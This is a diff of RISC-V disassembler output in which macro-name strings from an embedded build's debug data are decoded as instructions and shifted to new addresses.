+    29c6:	2058                	fld	fa4,128(s0)
+    29c8:	202d                	jal	29f2 <__stack_size+0x21f2>
+    29ca:	2931                	jal	2de6 <__stack_size+0x25e6>
+    29cc:	4900                	lw	s0,16(a0)
+    29ce:	544e                	lw	s0,240(sp)
+    29d0:	4c5f 4145 5453      	0x545341454c5f
+    29d6:	3631                	jal	24e2 <__stack_size+0x1ce2>
+    29d8:	4d5f 5841 5f20      	0x5f2058414d5f
+    29de:	495f 544e 4c5f      	0x4c5f544e495f
+    29e4:	4145                	li	sp,17
+    29e6:	36315453          	0x36315453
+    29ea:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    29f0:	5f00                	lw	s0,56(a4)
+    29f2:	555f 4e49 5f54      	0x5f544e49555f
+    29f8:	454c                	lw	a1,12(a0)
+    29fa:	5341                	li	t1,-16
+    29fc:	3654                	fld	fa3,168(a2)
+    29fe:	5f34                	lw	a3,120(a4)
+    2a00:	414d                	li	sp,19
+    2a02:	5f58                	lw	a4,60(a4)
+    2a04:	205f 7830 6666      	0x66667830205f
+    2a0a:	6666                	flw	fa2,88(sp)
+    2a0c:	6666                	flw	fa2,88(sp)
+    2a0e:	6666                	flw	fa2,88(sp)
+    2a10:	6666                	flw	fa2,88(sp)
+    2a12:	6666                	flw	fa2,88(sp)
+    2a14:	6666                	flw	fa2,88(sp)
+    2a16:	6666                	flw	fa2,88(sp)
+    2a18:	4c55                	li	s8,21
+    2a1a:	004c                	addi	a1,sp,4
+    2a1c:	4558                	lw	a4,12(a0)
+    2a1e:	414d                	li	sp,19
+    2a20:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
+    2a24:	30204553          	0x30204553
+    2a28:	3678                	fld	fa4,232(a2)
     2a2a:	3030                	fld	fa2,96(s0)
-    2a2c:	5500                	lw	s0,40(a0)
-    2a2e:	4e49                	li	t3,18
-    2a30:	5f54                	lw	a3,60(a4)
-    2a32:	4146                	lw	sp,80(sp)
-    2a34:	5f385453          	0x5f385453
-    2a38:	414d                	li	sp,19
-    2a3a:	2058                	fld	fa4,128(s0)
-    2a3c:	5f5f 4955 544e      	0x544e49555f5f
-    2a42:	465f 5341 3854      	0x38545341465f
-    2a48:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    2a4e:	5f00                	lw	s0,56(a4)
-    2a50:	435f 5f43 5553      	0x55535f43435f
-    2a56:	5050                	lw	a2,36(s0)
-    2a58:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-    2a5c:	495f 4c4e 4e49      	0x4e494c4e495f
-    2a62:	2045                	jal	2b02 <__stack_size+0x2302>
-    2a64:	0031                	c.nop	12
-    2a66:	4155                	li	sp,21
-    2a68:	5452                	lw	s0,52(sp)
-    2a6a:	495f 2050 7830      	0x78302050495f
-    2a70:	3431                	jal	247c <__stack_size+0x1c7c>
-    2a72:	4600                	lw	s0,8(a2)
-    2a74:	475f 5445 574f      	0x574f5445475f
-    2a7a:	204e                	fld	ft0,208(sp)
-    2a7c:	0035                	c.nop	13
-    2a7e:	5750                	lw	a2,44(a4)
-    2a80:	5f4d                	li	t5,-13
-    2a82:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    2a86:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
-    2a8a:	474e4147          	fmsub.q	ft2,ft8,fs4,fs0,rmm
-    2a8e:	3020                	fld	fs0,96(s0)
-    2a90:	3078                	fld	fa4,224(s0)
-    2a92:	3034                	fld	fa3,96(s0)
-    2a94:	3030                	fld	fa2,96(s0)
-    2a96:	3030                	fld	fa2,96(s0)
-    2a98:	0030                	addi	a2,sp,8
-    2a9a:	425f 4749 455f      	0x455f4749425f
-    2aa0:	444e                	lw	s0,208(sp)
-    2aa2:	4149                	li	sp,18
-    2aa4:	204e                	fld	ft0,208(sp)
-    2aa6:	3334                	fld	fa3,96(a4)
-    2aa8:	3132                	fld	ft2,296(sp)
-    2aaa:	5000                	lw	s0,32(s0)
-    2aac:	5254                	lw	a3,36(a2)
-    2aae:	4944                	lw	s1,20(a0)
-    2ab0:	4646                	lw	a2,80(sp)
-    2ab2:	4d5f 4e49 2820      	0x28204e494d5f
-    2ab8:	502d                	c.li	zero,-21
-    2aba:	5254                	lw	a3,36(a2)
-    2abc:	4944                	lw	s1,20(a0)
-    2abe:	4646                	lw	a2,80(sp)
-    2ac0:	4d5f 5841 2d20      	0x2d2058414d5f
-    2ac6:	3120                	fld	fs0,96(a0)
-    2ac8:	0029                	c.nop	10
-    2aca:	46495f53          	0x46495f53
-    2ace:	4944                	lw	s1,20(a0)
-    2ad0:	2052                	fld	ft0,272(sp)
-    2ad2:	495f 4446 5249      	0x52494446495f
-    2ad8:	5f00                	lw	s0,56(a4)
-    2ada:	6e5f 6565 5f64      	0x5f6465656e5f
-    2ae0:	6e69                	lui	t3,0x1a
-    2ae2:	7474                	flw	fa3,108(s0)
-    2ae4:	7079                	c.lui	zero,0xffffe
-    2ae6:	7365                	lui	t1,0xffff9
-    2ae8:	5f00                	lw	s0,56(a4)
-    2aea:	445f 4c42 445f      	0x445f4c42445f
-    2af0:	4345                	li	t1,17
-    2af2:	4d49                	li	s10,18
-    2af4:	4c41                	li	s8,16
-    2af6:	445f 4749 5f5f      	0x5f5f4749445f
-    2afc:	3120                	fld	fs0,96(a0)
-    2afe:	5f5f0037          	lui	zero,0x5f5f0
-    2b02:	455a4953          	0x455a4953
-    2b06:	4c5f464f          	0x4c5f464f
-    2b0a:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    2b0e:	4f4c                	lw	a1,28(a4)
-    2b10:	474e                	lw	a4,208(sp)
-    2b12:	5f5f 3820 5f00      	0x5f0038205f5f
-    2b18:	735f 6163 666e      	0x666e6163735f
-    2b1e:	696c                	flw	fa1,84(a0)
-    2b20:	6628656b          	0x6628656b
-    2b24:	746d                	lui	s0,0xffffb
-    2b26:	7261                	lui	tp,0xffff8
-    2b28:	69662c67          	0x69662c67
-    2b2c:	7372                	flw	ft6,60(sp)
-    2b2e:	7674                	flw	fa3,108(a2)
-    2b30:	7261                	lui	tp,0xffff8
-    2b32:	7261                	lui	tp,0xffff8
-    2b34:	5f202967          	0x5f202967
-    2b38:	615f 7474 6972      	0x69727474615f
-    2b3e:	7562                	flw	fa0,56(sp)
-    2b40:	6574                	flw	fa3,76(a0)
-    2b42:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    2b48:	6f66                	flw	ft10,88(sp)
-    2b4a:	6d72                	flw	fs10,28(sp)
-    2b4c:	7461                	lui	s0,0xffff8
-    2b4e:	5f5f 2820 5f5f      	0x5f5f28205f5f
-    2b54:	6e616373          	csrrsi	t1,0x6e6,2
-    2b58:	5f66                	lw	t5,120(sp)
-    2b5a:	2c5f 6620 746d      	0x746d66202c5f
-    2b60:	7261                	lui	tp,0xffff8
-    2b62:	66202c67          	0x66202c67
-    2b66:	7269                	lui	tp,0xffffa
-    2b68:	61767473          	csrrci	s0,0x617,12
-    2b6c:	6172                	flw	ft2,28(sp)
-    2b6e:	6772                	flw	fa4,28(sp)
-    2b70:	2929                	jal	2f8a <__stack_size+0x278a>
-    2b72:	0029                	c.nop	10
-    2b74:	455a4953          	0x455a4953
-    2b78:	4d5f 5841 5200      	0x520058414d5f
-    2b7e:	4354                	lw	a3,4(a4)
-    2b80:	465f 4552 2051      	0x20514552465f
-    2b86:	3631                	jal	2692 <__stack_size+0x1e92>
-    2b88:	3134                	fld	fa3,96(a0)
-    2b8a:	0036                	c.slli	zero,0xd
-    2b8c:	535f 5f43 454c      	0x454c5f43535f
-    2b92:	4556                	lw	a0,84(sp)
-    2b94:	314c                	fld	fa1,160(a0)
-    2b96:	495f 4143 4843      	0x48434143495f
-    2b9c:	5f45                	li	t5,-15
-    2b9e:	455a4953          	0x455a4953
-    2ba2:	3120                	fld	fs0,96(a0)
-    2ba4:	3532                	fld	fa0,296(sp)
-    2ba6:	5700                	lw	s0,40(a4)
-    2ba8:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    2bac:	4d5f 5841 5f20      	0x5f2058414d5f
-    2bb2:	575f 4843 5241      	0x52414843575f
-    2bb8:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    2bbe:	5f00                	lw	s0,56(a4)
-    2bc0:	465f 544c 3436      	0x3436544c465f
-    2bc6:	5f58                	lw	a4,60(a4)
-    2bc8:	414d                	li	sp,19
-    2bca:	5f58                	lw	a4,60(a4)
-    2bcc:	3031                	jal	23d8 <__stack_size+0x1bd8>
-    2bce:	455f 5058 5f5f      	0x5f5f5058455f
-    2bd4:	3420                	fld	fs0,104(s0)
-    2bd6:	3339                	jal	28e4 <__stack_size+0x20e4>
-    2bd8:	0032                	c.slli	zero,0xc
-    2bda:	5542                	lw	a0,48(sp)
-    2bdc:	5346                	lw	t1,112(sp)
-    2bde:	5a49                	li	s4,-14
-    2be0:	3120                	fld	fs0,96(a0)
-    2be2:	3230                	fld	fa2,96(a2)
-    2be4:	0034                	addi	a3,sp,8
-    2be6:	5f5f 4c46 3354      	0x33544c465f5f
-    2bec:	5f32                	lw	t5,44(sp)
-    2bee:	4544                	lw	s1,12(a0)
-    2bf0:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    2bf4:	5f4c                	lw	a1,60(a4)
-    2bf6:	4944                	lw	s1,20(a0)
-    2bf8:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2bfc:	0039                	c.nop	14
-    2bfe:	505f 5f43 4843      	0x48435f43505f
-    2c04:	5f4e574f          	fnmadd.q	fa4,ft8,fs4,fa1,unknown
-    2c08:	4552                	lw	a0,20(sp)
-    2c0a:	49525453          	0x49525453
-    2c0e:	44455443          	0x44455443
-    2c12:	3620                	fld	fs0,104(a2)
-    2c14:	5f00                	lw	s0,56(a4)
-    2c16:	4e5f 5745 494c      	0x494c57454e5f
-    2c1c:	5f42                	lw	t5,48(sp)
-    2c1e:	494d                	li	s2,19
-    2c20:	4f4e                	lw	t5,208(sp)
-    2c22:	5f52                	lw	t5,52(sp)
-    2c24:	205f 0032 525f      	0x525f0032205f
-    2c2a:	4545                	li	a0,17
-    2c2c:	544e                	lw	s0,240(sp)
-    2c2e:	4d5f 5342 5452      	0x545253424d5f
-    2c34:	5343574f          	fnmadd.d	fa4,ft6,fs4,fa0,unknown
-    2c38:	535f 4154 4554      	0x45544154535f
-    2c3e:	7028                	flw	fa0,96(s0)
-    2c40:	7274                	flw	fa3,100(a2)
-    2c42:	2029                	jal	2c4c <__stack_size+0x244c>
-    2c44:	2828                	fld	fa0,80(s0)
-    2c46:	7470                	flw	fa2,108(s0)
-    2c48:	2972                	fld	fs2,280(sp)
-    2c4a:	3e2d                	jal	2784 <__stack_size+0x1f84>
-    2c4c:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    2c52:	6572                	flw	fa0,28(sp)
-    2c54:	6e65                	lui	t3,0x19
-    2c56:	2e74                	fld	fa3,216(a2)
-    2c58:	6d5f 7362 7472      	0x747273626d5f
-    2c5e:	7363776f          	jal	a4,3a394 <__stack_size+0x39b94>
-    2c62:	735f 6174 6574      	0x65746174735f
-    2c68:	0029                	c.nop	10
-    2c6a:	4c50                	lw	a2,28(s0)
-    2c6c:	4349                	li	t1,18
-    2c6e:	555f 5241 5f54      	0x5f545241555f
-    2c74:	5852                	lw	a6,52(sp)
-    2c76:	535f 554f 4352      	0x4352554f535f
-    2c7c:	2045                	jal	2d1c <__stack_size+0x251c>
-    2c7e:	505f0033          	0x505f0033
-    2c82:	49545f43          	fmadd.s	ft10,fs0,fs5,fs1,unknown
-    2c86:	454d                	li	a0,19
-    2c88:	4d415453          	0x4d415453
-    2c8c:	5f50                	lw	a2,60(a4)
-    2c8e:	4552                	lw	a0,20(sp)
-    2c90:	554c4f53          	0x554c4f53
-    2c94:	4954                	lw	a3,20(a0)
-    2c96:	32204e4f          	fnmadd.d	ft8,ft0,ft2,ft6,rmm
-    2c9a:	0030                	addi	a2,sp,8
-    2c9c:	5f5f 6f62 6e75      	0x6e756f625f5f
-    2ca2:	6564                	flw	fs1,76(a0)
-    2ca4:	2064                	fld	fs1,192(s0)
-    2ca6:	5f00                	lw	s0,56(a4)
-    2ca8:	575f 4e49 5f54      	0x5f544e49575f
-    2cae:	5954                	lw	a3,52(a0)
-    2cb0:	4550                	lw	a2,12(a0)
-    2cb2:	5f5f 7520 736e      	0x736e75205f5f
-    2cb8:	6769                	lui	a4,0x1a
-    2cba:	656e                	flw	fa0,216(sp)
-    2cbc:	2064                	fld	fs1,192(s0)
-    2cbe:	6e69                	lui	t3,0x1a
-    2cc0:	0074                	addi	a3,sp,12
-    2cc2:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    2cc6:	4c5f 574f 495f      	0x495f574f4c5f
-    2ccc:	2045                	jal	2d6c <__stack_size+0x256c>
-    2cce:	7830                	flw	fa2,112(s0)
-    2cd0:	5f003033          	0x5f003033
-    2cd4:	4649                	li	a2,18
-    2cd6:	20524843          	fmadd.s	fa6,ft4,ft5,ft4,rmm
-    2cda:	3030                	fld	fa2,96(s0)
-    2cdc:	3032                	fld	ft0,296(sp)
-    2cde:	3030                	fld	fa2,96(s0)
-    2ce0:	0030                	addi	a2,sp,8
-    2ce2:	535f 5f43 4854      	0x48545f43535f
-    2ce8:	4552                	lw	a0,20(sp)
-    2cea:	4441                	li	s0,16
-    2cec:	535f 4f50 4152      	0x41524f50535f
-    2cf2:	4944                	lw	s1,20(a0)
-    2cf4:	45535f43          	0x45535f43
-    2cf8:	5652                	lw	a2,52(sp)
-    2cfa:	5245                	li	tp,-15
-    2cfc:	3820                	fld	fs0,112(s0)
-    2cfe:	0031                	c.nop	12
-    2d00:	505f 5f43 4950      	0x49505f43505f
-    2d06:	4550                	lw	a2,12(a0)
-    2d08:	425f 4655 3520      	0x35204655425f
-    2d0e:	4600                	lw	s0,8(a2)
-    2d10:	525f 4547 4c54      	0x4c544547525f
-    2d16:	3031204b          	fnmsub.s	ft0,ft2,ft3,ft6,rdn
-    2d1a:	5f00                	lw	s0,56(a4)
-    2d1c:	615f 6772 745f      	0x745f6772615f
-    2d22:	7079                	c.lui	zero,0xffffe
-    2d24:	5f65                	li	t5,-7
-    2d26:	6174                	flw	fa3,68(a0)
-    2d28:	72612867          	0x72612867
-    2d2c:	696b5f67          	0x696b5f67
-    2d30:	646e                	flw	fs0,216(sp)
-    2d32:	612c                	flw	fa1,64(a0)
-    2d34:	6772                	flw	fa4,28(sp)
-    2d36:	695f 7864 742c      	0x742c7864695f
+    2a2c:	3030                	fld	fa2,96(s0)
+    2a2e:	3030                	fld	fa2,96(s0)
+    2a30:	0030                	addi	a2,sp,8
+    2a32:	6e727473          	csrrci	s0,0x6e7,4
+    2a36:	00706d63          	bltu	zero,t2,2a50 <__stack_size+0x2250>
+    2a3a:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    2a40:	725f 6c65 6165      	0x61656c65725f
+    2a46:	725f6573          	csrrsi	a0,0x725,30
+    2a4a:	6365                	lui	t1,0x19
+    2a4c:	7275                	lui	tp,0xffffd
+    2a4e:	65766973          	csrrsi	s2,0x657,12
+    2a52:	6c28                	flw	fa0,88(s0)
+    2a54:	296b636f          	jal	t1,b8cea <__stack_size+0xb84ea>
+    2a58:	2820                	fld	fs0,80(s0)
+    2a5a:	7628                	flw	fa0,104(a2)
+    2a5c:	2964696f          	jal	s2,48cf2 <__stack_size+0x484f2>
+    2a60:	3020                	fld	fs0,96(s0)
+    2a62:	0029                	c.nop	10
+    2a64:	5f5f 6f66 6d72      	0x6d726f665f5f
+    2a6a:	7461                	lui	s0,0xffff8
+    2a6c:	615f 6772 6628      	0x66286772615f
+    2a72:	746d                	lui	s0,0xffffb
+    2a74:	7261                	lui	tp,0xffff8
+    2a76:	5f202967          	0x5f202967
+    2a7a:	615f 7474 6972      	0x69727474615f
+    2a80:	7562                	flw	fa0,56(sp)
+    2a82:	6574                	flw	fa3,76(a0)
+    2a84:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    2a8a:	6f66                	flw	ft10,88(sp)
+    2a8c:	6d72                	flw	fs10,28(sp)
+    2a8e:	7461                	lui	s0,0xffff8
+    2a90:	615f 6772 5f5f      	0x5f5f6772615f
+    2a96:	2820                	fld	fs0,80(s0)
+    2a98:	6d66                	flw	fs10,88(sp)
+    2a9a:	6174                	flw	fa3,68(a0)
+    2a9c:	6772                	flw	fa4,28(sp)
+    2a9e:	2929                	jal	2eb8 <__stack_size+0x26b8>
+    2aa0:	0029                	c.nop	10
+    2aa2:	5f5f 4c53 3436      	0x34364c535f5f
+    2aa8:	3020                	fld	fs0,96(s0)
+    2aaa:	3878                	fld	fa4,240(s0)
+    2aac:	3030                	fld	fa2,96(s0)
+    2aae:	0030                	addi	a2,sp,8
+    2ab0:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    2ab4:	564d                	li	a2,-13
+    2ab6:	4e45                	li	t3,17
+    2ab8:	4f44                	lw	s1,28(a4)
+    2aba:	4952                	lw	s2,20(sp)
+    2abc:	2044                	fld	fs1,128(s0)
+    2abe:	0039                	c.nop	14
+    2ac0:	41484357          	0x41484357
+    2ac4:	5f52                	lw	t5,52(sp)
+    2ac6:	494d                	li	s2,19
+    2ac8:	004e                	c.slli	zero,0x13
+    2aca:	445f 4645 5541      	0x55414645445f
+    2ad0:	544c                	lw	a1,44(s0)
+    2ad2:	535f 554f 4352      	0x4352554f535f
+    2ad8:	0045                	c.nop	17
+    2ada:	5750                	lw	a2,44(a4)
+    2adc:	5f4d                	li	t5,-13
+    2ade:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    2ae2:	33504d43          	fmadd.d	fs10,ft0,fs5,ft6,rmm
+    2ae6:	544e4543          	0x544e4543
+    2aea:	5245                	li	tp,-15
+    2aec:	3020                	fld	fs0,96(s0)
+    2aee:	3078                	fld	fa4,224(s0)
+    2af0:	3030                	fld	fa2,96(s0)
+    2af2:	3038                	fld	fa4,96(s0)
+    2af4:	3030                	fld	fa2,96(s0)
+    2af6:	0030                	addi	a2,sp,8
+    2af8:	4955                	li	s2,21
+    2afa:	544e                	lw	s0,240(sp)
+    2afc:	465f 5341 3854      	0x38545341465f
+    2b02:	4d5f 5841 5f20      	0x5f2058414d5f
+    2b08:	555f 4e49 5f54      	0x5f544e49555f
+    2b0e:	4146                	lw	sp,80(sp)
+    2b10:	5f385453          	0x5f385453
+    2b14:	414d                	li	sp,19
+    2b16:	5f58                	lw	a4,60(a4)
+    2b18:	005f 5f5f 4343      	0x43435f5f005f
+    2b1e:	535f 5055 4f50      	0x4f505055535f
+    2b24:	5452                	lw	s0,52(sp)
+    2b26:	4e495f53          	0x4e495f53
+    2b2a:	494c                	lw	a1,20(a0)
+    2b2c:	454e                	lw	a0,208(sp)
+    2b2e:	3120                	fld	fs0,96(a0)
+    2b30:	5500                	lw	s0,40(a0)
+    2b32:	5241                	li	tp,-16
+    2b34:	5f54                	lw	a3,60(a4)
+    2b36:	5049                	c.li	zero,-14
+    2b38:	3020                	fld	fs0,96(s0)
+    2b3a:	3178                	fld	fa4,224(a0)
+    2b3c:	0034                	addi	a3,sp,8
+    2b3e:	5f46                	lw	t5,112(sp)
+    2b40:	4f544547          	fmsub.q	fa0,fs0,fs5,fs1,rmm
+    2b44:	35204e57          	0x35204e57
+    2b48:	5000                	lw	s0,32(s0)
+    2b4a:	435f4d57          	0x435f4d57
+    2b4e:	4746                	lw	a4,80(sp)
+    2b50:	435f 504d 4732      	0x4732504d435f
+    2b56:	4e41                	li	t3,16
+    2b58:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
+    2b5c:	3430                	fld	fa2,104(s0)
+    2b5e:	3030                	fld	fa2,96(s0)
+    2b60:	3030                	fld	fa2,96(s0)
+    2b62:	3030                	fld	fa2,96(s0)
+    2b64:	5f00                	lw	s0,56(a4)
+    2b66:	4942                	lw	s2,16(sp)
+    2b68:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
+    2b6c:	4944                	lw	s1,20(a0)
+    2b6e:	4e41                	li	t3,16
+    2b70:	3420                	fld	fs0,104(s0)
+    2b72:	00313233          	sltu	tp,sp,gp
+    2b76:	5450                	lw	a2,44(s0)
+    2b78:	4452                	lw	s0,20(sp)
+    2b7a:	4649                	li	a2,18
+    2b7c:	5f46                	lw	t5,112(sp)
+    2b7e:	494d                	li	s2,19
+    2b80:	204e                	fld	ft0,208(sp)
+    2b82:	2d28                	fld	fa0,88(a0)
+    2b84:	5450                	lw	a2,44(s0)
+    2b86:	4452                	lw	s0,20(sp)
+    2b88:	4649                	li	a2,18
+    2b8a:	5f46                	lw	t5,112(sp)
+    2b8c:	414d                	li	sp,19
+    2b8e:	2058                	fld	fa4,128(s0)
+    2b90:	202d                	jal	2bba <__stack_size+0x23ba>
+    2b92:	2931                	jal	2fae <__stack_size+0x27ae>
+    2b94:	5300                	lw	s0,32(a4)
+    2b96:	495f 4446 5249      	0x52494446495f
+    2b9c:	5f20                	lw	s0,120(a4)
+    2b9e:	4649                	li	a2,18
+    2ba0:	4944                	lw	s1,20(a0)
+    2ba2:	0052                	c.slli	zero,0x14
+    2ba4:	5f5f 656e 6465      	0x6465656e5f5f
+    2baa:	695f 746e 7974      	0x7974746e695f
+    2bb0:	6570                	flw	fa2,76(a0)
+    2bb2:	5f5f0073          	0x5f5f0073
+    2bb6:	4244                	lw	s1,4(a2)
+    2bb8:	5f4c                	lw	a1,60(a4)
+    2bba:	4544                	lw	s1,12(a0)
+    2bbc:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    2bc0:	5f4c                	lw	a1,60(a4)
+    2bc2:	4944                	lw	s1,20(a0)
+    2bc4:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    2bc8:	3731                	jal	2ad4 <__stack_size+0x22d4>
+    2bca:	5f00                	lw	s0,56(a4)
+    2bcc:	535f 5a49 4f45      	0x4f455a49535f
+    2bd2:	5f46                	lw	t5,112(sp)
+    2bd4:	4f4c                	lw	a1,28(a4)
+    2bd6:	474e                	lw	a4,208(sp)
+    2bd8:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    2bde:	205f 0038 5f5f      	0x5f5f0038205f
+    2be4:	6e616373          	csrrsi	t1,0x6e6,2
+    2be8:	6c66                	flw	fs8,88(sp)
+    2bea:	6b69                	lui	s6,0x1a
+    2bec:	2865                	jal	2ca4 <__stack_size+0x24a4>
+    2bee:	6d66                	flw	fs10,88(sp)
+    2bf0:	6174                	flw	fa3,68(a0)
+    2bf2:	6772                	flw	fa4,28(sp)
+    2bf4:	662c                	flw	fa1,72(a2)
+    2bf6:	7269                	lui	tp,0xffffa
+    2bf8:	61767473          	csrrci	s0,0x617,12
+    2bfc:	6172                	flw	ft2,28(sp)
+    2bfe:	6772                	flw	fa4,28(sp)
+    2c00:	2029                	jal	2c0a <__stack_size+0x240a>
+    2c02:	5f5f 7461 7274      	0x727474615f5f
+    2c08:	6269                	lui	tp,0x1a
+    2c0a:	7475                	lui	s0,0xffffd
+    2c0c:	5f65                	li	t5,-7
+    2c0e:	285f 5f28 665f      	0x665f5f28285f
+    2c14:	616d726f          	jal	tp,da22a <__stack_size+0xd9a2a>
+    2c18:	5f74                	lw	a3,124(a4)
+    2c1a:	205f 5f28 735f      	0x735f5f28205f
+    2c20:	666e6163          	bltu	t3,t1,3282 <__stack_size+0x2a82>
+    2c24:	5f5f 202c 6d66      	0x6d66202c5f5f
+    2c2a:	6174                	flw	fa3,68(a0)
+    2c2c:	6772                	flw	fa4,28(sp)
+    2c2e:	202c                	fld	fa1,64(s0)
+    2c30:	6966                	flw	fs2,88(sp)
+    2c32:	7372                	flw	ft6,60(sp)
+    2c34:	7674                	flw	fa3,108(a2)
+    2c36:	7261                	lui	tp,0xffff8
+    2c38:	7261                	lui	tp,0xffff8
+    2c3a:	29292967          	0x29292967
+    2c3e:	5300                	lw	s0,32(a4)
+    2c40:	5a49                	li	s4,-14
+    2c42:	5f45                	li	t5,-15
+    2c44:	414d                	li	sp,19
+    2c46:	0058                	addi	a4,sp,4
+    2c48:	5452                	lw	s0,52(sp)
+    2c4a:	52465f43          	fmadd.d	ft10,fa2,ft4,fa0,unknown
+    2c4e:	5145                	li	sp,-15
+    2c50:	3120                	fld	fs0,96(a0)
+    2c52:	3436                	fld	fs0,360(sp)
+    2c54:	3631                	jal	2760 <__stack_size+0x1f60>
+    2c56:	5f00                	lw	s0,56(a4)
+    2c58:	4c5f4353          	0x4c5f4353
+    2c5c:	5645                	li	a2,-15
+    2c5e:	4c45                	li	s8,17
+    2c60:	5f31                	li	t5,-20
+    2c62:	4349                	li	t1,18
+    2c64:	4341                	li	t1,16
+    2c66:	4548                	lw	a0,12(a0)
+    2c68:	535f 5a49 2045      	0x20455a49535f
+    2c6e:	3231                	jal	257a <__stack_size+0x1d7a>
+    2c70:	0035                	c.nop	13
+    2c72:	41484357          	0x41484357
+    2c76:	5f52                	lw	t5,52(sp)
+    2c78:	414d                	li	sp,19
+    2c7a:	2058                	fld	fa4,128(s0)
+    2c7c:	5f5f 4357 4148      	0x414843575f5f
+    2c82:	5f52                	lw	t5,52(sp)
+    2c84:	414d                	li	sp,19
+    2c86:	5f58                	lw	a4,60(a4)
+    2c88:	005f 5f5f 4c46      	0x4c465f5f005f
+    2c8e:	3654                	fld	fa3,168(a2)
+    2c90:	5834                	lw	a3,112(s0)
+    2c92:	4d5f 5841 315f      	0x315f58414d5f
+    2c98:	5f30                	lw	a2,120(a4)
+    2c9a:	5845                	li	a6,-15
+    2c9c:	5f50                	lw	a2,60(a4)
+    2c9e:	205f 3934 3233      	0x32333934205f
+    2ca4:	4200                	lw	s0,0(a2)
+    2ca6:	4655                	li	a2,21
+    2ca8:	205a4953          	0x205a4953
+    2cac:	3031                	jal	24b8 <__stack_size+0x1cb8>
+    2cae:	3432                	fld	fs0,296(sp)
+    2cb0:	5f00                	lw	s0,56(a4)
+    2cb2:	465f 544c 3233      	0x3233544c465f
+    2cb8:	445f 4345 4d49      	0x4d494345445f
+    2cbe:	4c41                	li	s8,16
+    2cc0:	445f 4749 5f5f      	0x5f5f4749445f
+    2cc6:	3920                	fld	fs0,112(a0)
+    2cc8:	5f00                	lw	s0,56(a4)
+    2cca:	4350                	lw	a2,4(a4)
+    2ccc:	435f 4f48 4e57      	0x4e574f48435f
+    2cd2:	525f 5345 5254      	0x52545345525f
+    2cd8:	4349                	li	t1,18
+    2cda:	4554                	lw	a3,12(a0)
+    2cdc:	2044                	fld	fs1,128(s0)
+    2cde:	0036                	c.slli	zero,0xd
+    2ce0:	5f5f 454e 4c57      	0x4c57454e5f5f
+    2ce6:	4249                	li	tp,18
+    2ce8:	4d5f 4e49 524f      	0x524f4e494d5f
+    2cee:	5f5f 3220 5f00      	0x5f0032205f5f
+    2cf4:	4552                	lw	a0,20(sp)
+    2cf6:	4e45                	li	t3,17
+    2cf8:	5f54                	lw	a3,60(a4)
+    2cfa:	424d                	li	tp,19
+    2cfc:	4f545253          	0x4f545253
+    2d00:	5f534357          	0x5f534357
+    2d04:	54415453          	0x54415453
+    2d08:	2845                	jal	2db8 <__stack_size+0x25b8>
+    2d0a:	7470                	flw	fa2,108(s0)
+    2d0c:	2972                	fld	fs2,280(sp)
+    2d0e:	2820                	fld	fs0,80(s0)
+    2d10:	7028                	flw	fa0,96(s0)
+    2d12:	7274                	flw	fa3,100(a2)
+    2d14:	2d29                	jal	332e <__stack_size+0x2b2e>
+    2d16:	5f3e                	lw	t5,236(sp)
+    2d18:	656e                	flw	fa0,216(sp)
+    2d1a:	725f2e77          	0x725f2e77
+    2d1e:	6565                	lui	a0,0x19
+    2d20:	746e                	flw	fs0,248(sp)
+    2d22:	5f2e                	lw	t5,232(sp)
+    2d24:	626d                	lui	tp,0x1b
+    2d26:	6f747273          	csrrci	tp,0x6f7,8
+    2d2a:	5f736377          	0x5f736377
+    2d2e:	74617473          	csrrci	s0,0x746,2
+    2d32:	2965                	jal	31ea <__stack_size+0x29ea>
+    2d34:	5f00                	lw	s0,56(a4)
+    2d36:	645f 7461 7461      	0x74617461645f
     2d3c:	7079                	c.lui	zero,0xffffe
     2d3e:	5f65                	li	t5,-7
-    2d40:	6174                	flw	fa3,68(a0)
-    2d42:	64695f67          	0x64695f67
-    2d46:	2978                	fld	fa4,208(a0)
-    2d48:	0020                	addi	s0,sp,8
-    2d4a:	5750                	lw	a2,44(a4)
-    2d4c:	5f4d                	li	t5,-13
-    2d4e:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    2d52:	33504d43          	fmadd.d	fs10,ft0,fs5,ft6,rmm
-    2d56:	5049                	c.li	zero,-14
-    2d58:	3020                	fld	fs0,96(s0)
-    2d5a:	3878                	fld	fa4,240(s0)
-    2d5c:	3030                	fld	fa2,96(s0)
-    2d5e:	3030                	fld	fa2,96(s0)
-    2d60:	3030                	fld	fa2,96(s0)
-    2d62:	0030                	addi	a2,sp,8
-    2d64:	535f 5f43 3756      	0x37565f43535f
-    2d6a:	4c5f 4250 4749      	0x474942504c5f
-    2d70:	4f5f 4646 4942      	0x494246464f5f
-    2d76:	35392047          	0x35392047
-    2d7a:	5f00                	lw	s0,56(a4)
-    2d7c:	545f4353          	0x545f4353
-    2d80:	5248                	lw	a0,36(a2)
-    2d82:	4145                	li	sp,17
-    2d84:	5f44                	lw	s1,60(a4)
-    2d86:	5359454b          	fnmsub.d	fa0,fs2,fs5,fa0,rmm
-    2d8a:	4d5f 5841 3320      	0x332058414d5f
-    2d90:	0038                	addi	a4,sp,8
-    2d92:	5f5f 4e49 3154      	0x31544e495f5f
